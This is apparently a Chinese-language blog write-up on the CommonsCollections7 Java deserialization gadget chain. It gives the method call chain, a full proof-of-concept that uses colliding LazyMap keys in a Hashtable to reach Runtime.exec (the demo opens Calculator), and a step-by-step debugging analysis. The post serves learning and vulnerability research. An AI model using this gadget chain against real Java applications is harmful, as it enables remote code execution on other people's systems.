CommonsCollections7

1、前置知识

Hashtable

Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中。它和HashMap类很相似,但是它支持同步,像HashMap一样,Hashtable在哈希表中存储键/值对。当使用一个哈希表,要指定用作键的对象,以及要链接到该键的值。然后,该键经过哈希处理,所得到的散列码被用作存储在该表中值的索引。

//默认没有参数的构造方,新建为11容量的Hashtable
public Hashtable() {
this(11, 0.75f);
}
//也可以指定容量
public Hashtable(int initialCapacity) {
this(initialCapacity, 0.75f);
}
//将指定 key 映射到此哈希表中的指定 value。
public void put(Object key, Object value)
//
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)

2、POC利用

2.1、利用链

/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

2.2、POC

2.2.1、漏洞复现

package com.akkacloud;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class CommonsCollection7 {
public static void main(String[] args) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); //使用冲突哈希创建两个Lazymap,以便在readObject期间强制成功进入for循环调用reconstitutionPut
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy"); // serialize(hashtable);
unserialize();
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}

2.2.2、POC分析

由于跟cc6很相似,不再重复说明,直接看两者不同的地方.

主要是hashtable的add方法把Lazymap加入其中,但是为什么要put两次呢,就是存两个lazyMap2到hashtable中呢?

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); //使用冲突哈希创建两个Lazymap,以便在readObject期间强制进行元素比较
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

我们来看Hashtable的readObject方法。发现循环调用调用reconstitutionPut方法,elements就是我们传入Hashtable的元素个数,

先看传入的第一个元素既lazymap1,reconstitutionPut方法的参数table就是一个长度为5的空Entry<>[],key是Lazymap1,value为1,就是我们第一个put进去的元素。跟进reconstitutionPut

我们的漏洞点在for循环里面,但是第一次我们的tab为空,根本进不去,但是在后面会用我们传入的key和value新创建一个Entry<>,并且赋值给tab[index],这就是我们为什么要put两个lazymap到Hashtable里,用于进入reconstitutionPut的for循环去触发我们的漏洞点equal方法。

至于最后的lazyMap2.remove("yy"),就是因为我们我们真正在LazyMap中要确保没有键值对关系,才能调用transform方法,跟cc6的一样的理由,不懂可以仔细看看cc6

2.2.3、POC调试

在Hashtable的readObject方法处打断点,第一遍进入reconstitutionPut

第一遍进入的主要目的是为了给tab赋值,以便第二次可以进入循环的equal方法

第二遍成功进入for循环,此时的key就是我们设置空的lazymap

跟进AbstractMapDecorator的equal方法,继续进入equal方法

AbstractMap的equal方法,获取我们传入的lazymap的key和value,key为lazymap,value就是1,我们一开始构造的空lazymap,进入get方法,m就是我们传入的lazymap,所以是进入到lazymap的get方法,继续跟进

进入lazymap后,就会反射把lazymap中ChainedTransformer修改为我们的恶意类。此处就是为什么要去除yy键值对的关系(lazyMap2.remove("yy");),去除后才能进入if里面执行transform方法。

继续跟进ChainedTransformer的transform方法,循环结束就会RCE

2.3、思维导图

CommonsCollection7反序列化链学习的更多相关文章

  1. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  2. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  3. CommonsCollection4反序列化链学习

    CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...

  4. URLDNS反序列化链学习

    URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...

  5. GNU工具链学习笔记

    GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...

  6. 安洵杯iamthinking(tp6反序列化链)

    安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...

  7. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  8. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  9. JS 原型链学习总结

    废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...

随机推荐

  1. Java的jstat命令使用详解

    jstat命令简介 jstat(Java Virtual Machine Statistics Monitoring Tool)是JDK提供的一个可以监控Java虚拟机各种运行状态信息的命令行工具.它 ...

  2. Kubernetes系列(四) StatefulSet

    作者: LemonNan 原文地址: https://juejin.im/post/6870071267438329869 Kubernetes系列(四) StatefulSet Kubernetes ...

  3. LGP2891题解

    题目大意 有 \(n\) 只奶牛,\(q\) 种食物和 \(p\) 种饮料,每只奶牛喜欢一些饮料和食物,但只能那一种,求最小配对数量. 首先来看一下这道题的简化版:没有饮料,该怎么做呢? 我会!裸的二 ...

  4. Java的jinfo命令使用详解

    jinfo命令简介 jinfo(Java Virtual Machine Configuration Information)是JDK提供的一个可以实时查看Java虚拟机各种配置参数和系统属性的命令行 ...

  5. 机器学习之主成分分析(PCA)

    import numpy as np #(1)零均值化def zeroMean(dataMat): meanVal=np.mean(dataMat,axis=0) newData =dataMat - ...

  6. Bellman-Ford算法 求有边数限制的最短路

    这个算法也是紧承我们之前讲过的关于图论的内容,我们在前面分析图的时候说过了对于不同的图论问题,我们会有不同的求解方法,那么这里我们讲到Bellman-Ford算法是用于解决有边数限制的求解最短路问题. ...

  7. spring——整合Mybatis

    一.Mybatis整合spring 步骤: 导入相关jar包 junit mybatis mysql数据库 spring-webmvc aop织入 mybatis-spring spring-jdbc ...

  8. javaweb项目中关于配置文件web.xml的解析

    一..启动tomcat,加载项目中的web.xml文件,创建servercontext上下文对象. 可以通过servercontext对象在应用中获取web.xml文件中的值. web应用加载的顺序与 ...

  9. Mybatis的xml配置(mybatis-config.xml)精简笔记

    老规矩,看着官方文档学 首先,我们需要知道的是,在MyBatis 的xml配置文件中,这些影响 MyBatis 行为的属性之间的设置是有先后顺序的.配置的先后顺序依照properties, setti ...

  10. [MRCTF]XOR-无法生成反汇编的处理

    主程序,无法生成伪代码 由此分为两种方法即: 直接看反汇编 解决问题,尝试生成伪代码 硬啃汇编 输入与输出 判断输入长度是否为0x1B,其中al为eax的低8位 将输入的字符每个与当前字符所在下标异或 ...